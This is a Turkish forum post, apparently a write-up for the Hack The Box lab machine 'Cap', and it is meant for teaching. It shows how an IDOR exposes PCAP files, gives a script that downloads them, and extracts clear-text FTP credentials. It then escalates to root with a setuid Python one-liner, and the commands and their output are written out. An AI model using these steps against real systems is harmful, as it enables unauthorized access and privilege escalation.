Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Analiz Hack The Box - Cap Write-Up

  • Konuyu Başlatan Konuyu Başlatan 3gi3
  • Başlangıç tarihi Başlangıç tarihi

3gi3

Araştırmacı
Katılım
15 Ocak 2026
Mesajlar
31
Tepkime puanı
27
Puan
18
HTB CAP – IDOR → PCAP Analysis → Credential Leak → FTP → Privilege Escalation


Bu write-up, Cap makinesinde ilk bakışta zararsız görünen bir endpoint’in,
nasıl zincirleme bir şekilde tam sistem ele geçirmeye gittiğini detaylı ve öğretici biçimde anlatır.
Amaç sadece çözmek değil, neden ve nasıl çalıştığını net şekilde kavramaktır.





1) /capture Endpoint Keşfi (IDOR)

Uygulamada gezinirken aşağıdaki endpoint dikkat çekmektedir:

Kod:
http://10.129.7.202/capture?id=0
http://10.129.7.202/capture?id=2
http://10.129.7.202/capture?id=3

Bu endpoint’e normal bir HTTP/1.1 GET isteği gönderildiğinde sunucu tarafında
yaklaşık 5 saniyelik bir network trafiği yakalanmakta ve bu trafik bir `.pcap`
dosyası olarak saklanmaktadır.

Önemli detaylar:
  • Endpoint herhangi bir authentication gerektirmemektedir
  • id parametresi doğrudan backend’deki bir kaynağa karşılık gelmektedir
  • Farklı id değerleri ile farklı kullanıcılara ait capture’lara erişilebilmektedir

Bu durum klasik bir IDOR (Insecure Direct Object Reference) zafiyetidir.




2) PCAP Dosyalarının İndirilmesi – /download

Oluşturulan PCAP dosyaları aşağıdaki endpoint üzerinden indirilebilmektedir:

Kod:
/download/<data_id>

Örnek kullanım:

Kod:
http://10.129.7.202/download/0
http://10.129.7.202/download/2

Bu noktada fark edilen durum:
  • Bazı PCAP dosyaları sadece header içermekte (boş)
  • Bazıları gerçek network trafiği barındırmaktadır

Bu nedenle indirilen her PCAP dosyasının analiz edilmesi gerekmektedir.




3) PCAP Analizi – tcpdump ve capinfos

İlk hızlı kontrol için tcpdump kullandım:

Kod:
tcpdump -r 00.pcap

Boş bir PCAP için tipik çıktı:

Kod:
reading from file 00.pcap, link-type EN10MB (Ethernet)

Gerçek trafik içeren bir PCAP için:

Kod:
IP 10.129.7.202.21 > 10.10.14.5.50312: Flags [P.], length 74

Daha net ve sayısal bir doğrulama için capinfos kullandım:

Kod:
capinfos 00.pcap

Örnek çıktı:

Kod:
File name:           00.pcap
File type:           Wireshark/tcpdump/... - pcap
Number of packets:   72
File size:           9,935 bytes
Data size:           8,759 bytes
Capture duration:    31.128388 seconds

Burada özellikle:
  • Number of packets
  • Data size
  • Capture duration
alanları dosyanın “gerçekten dolu” olup olmadığını anlamak için kritiktir.




4) Otomasyon – Python Script + capinfos

Manuel kontrol yerine küçük bir Python script yazıldı.

Script’in yaptığı işlemler:
  • /capture endpoint’inden ID çekmek
  • /download üzerinden PCAP indirmek
  • capinfos kullanarak dosyanın dolu mu boş mu olduğunu kontrol etmek
  • Sadece anlamlı PCAP’leri ayıklamak

Kod:
#!/usr/bin/env bash
set -euo pipefail

HOST="10.129.7.212" 
CAPTURE_URL="http://$HOST/capture"
DOWNLOAD_BASE="http://$HOST/download"

RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m'
YELLOW='\033[1;33m'
NC='\033[0m'  # reset

ID=$(curl -s "$CAPTURE_URL" | grep -oP '/data/\K[0-9]+' | head -n1)

if [[ -z "${ID:-}" ]]; then
  echo -e "${RED}[-] ID bulunamadı. /capture çıktısı beklenenden farklı olabilir.${NC}"
  exit 1
fi

echo -e "${GREEN}[+]${NC} ${CYAN}ID Extracted${NC} ${YELLOW}--->${NC} ${CYAN}/data/${ID}${NC}"

PCAP_FILE="${ID}.pcap"
curl -s "$DOWNLOAD_BASE/$ID" -o "$PCAP_FILE"

SIZE=$(stat -c%s "$PCAP_FILE" 2>/dev/null || wc -c < "$PCAP_FILE")
if [[ "$SIZE" -le 24 ]]; then
  echo -e "${RED}[-]${NC} ${PCAP_FILE} çok küçük (${SIZE} bytes). Muhtemelen boş capture."
else
  echo -e "${GREEN}[+]${NC} ${PCAP_FILE} indirildi (${SIZE} bytes)"
fi

echo -e "${CYAN}[*] Number of packets:${NC}"
capinfos "$PCAP_FILE" | grep -E "Number of packets|Data size|File size"

Bu sayede:
  • 24 byte header tuzağına düşülmedi
  • Zaman ciddi şekilde kazanıldı




5) FTP Clear-Text Credential Leak

Analiz edilen dolu PCAP’lerden birinde FTP trafiği tespit edildi.
FTP protokolü şifreleme kullanmadığı için kullanıcı adı ve şifre açık şekilde görülmektedir.

Filtreleme:

Kod:
tcpdump -nn -r 00.pcap tcp port 21

Örnek çıktı:

Kod:
FTP: USER nathan
FTP: PASS Buck3tH4TF0RM3!
FTP: 230 Login successful.

Bu çıktı açıkça şunu göstermektedir:
  • FTP credentials clear-text
  • Network trafiğini izleyen biri şifreyi doğrudan alabilir




6) FTP Erişimi ve User Flag

Elde edilen bilgilerle FTP bağlantısı sağlandı:

Kod:
ftp 10.129.7.202

Giriş süreci:

Kod:
Name: nathan
Password: Buck3tH4TF0RM3!
230 Login successful.

Bu noktada:
  • Sisteme ilk gerçek erişim sağlandı
  • user.txt flag alındı


User flag genellikle “ilk foothold” anını temsil eder.
Artık sistemdeyiz ve enum aşamasına geçebiliriz.





7) Privilege Escalation – SUID / Python

FTP erişimi sonrası sistemde yetki yükseltme araştırmasına başlandı.

İlk olarak SUID bit’ine sahip dosyalar kontrol edildi:

Kod:
find / -perm -4000 -type f 2>/dev/null

Örnek çıktı:

Kod:
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/python3.8

Burada kritik olan dosya:

/usr/bin/python3.8

SUID doğrulaması:

Kod:
ls -l /usr/bin/python3.8

Kod:
-rwsr-xr-x 1 root root 5486384 Apr 18 2021 /usr/bin/python3.8

Buradaki s karakteri, bu binary’nin root yetkileriyle çalışabileceğini gösterir.

Ek olarak capability kontrolü de yapıldı:

Kod:
getcap -r / 2>/dev/null

Örnek çıktı:

Kod:
/usr/bin/python3.8 = cap_setuid+ep

Bu capability, Python’un UID değiştirebilme yetkisine sahip olduğunu gösterir.




8) Python ile Root Shell

SUID / cap_setuid sahibi Python kullanılarak root shell alındı:

Kod:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Doğrulama:

Kod:
> id
----------> uid=0(root) gid=0(root) groups=0(root)
> whoami
----------> root

Root erişimi başarıyla elde edilmiştir.




9) Root Flag

Son adımda root flag alındı:

Kod:
cat /root/root.txt

Bu aşamayla birlikte makine tamamen ele geçirilmiş oldu.




Genel Değerlendirme

Cap makinesi özellikle şunları çok net öğretmektedir:

  • Basit bir IDOR’un zincirleme etkisi
  • PCAP analizinin gerçek hayattaki önemi
  • Clear-text protokollerin (FTP) neden kritik risk olduğu
  • SUID / capability yanlış yapılandırmalarının etkisi
  • Küçük otomasyonların çözüm süresini nasıl hızlandırdığı

Sessiz ama fazlasıyla öğretici bir makineydi.
Gerçek dünya pentest ve bug bounty senaryolarına oldukça yakındır.

— blackrose
 
Geri
Üst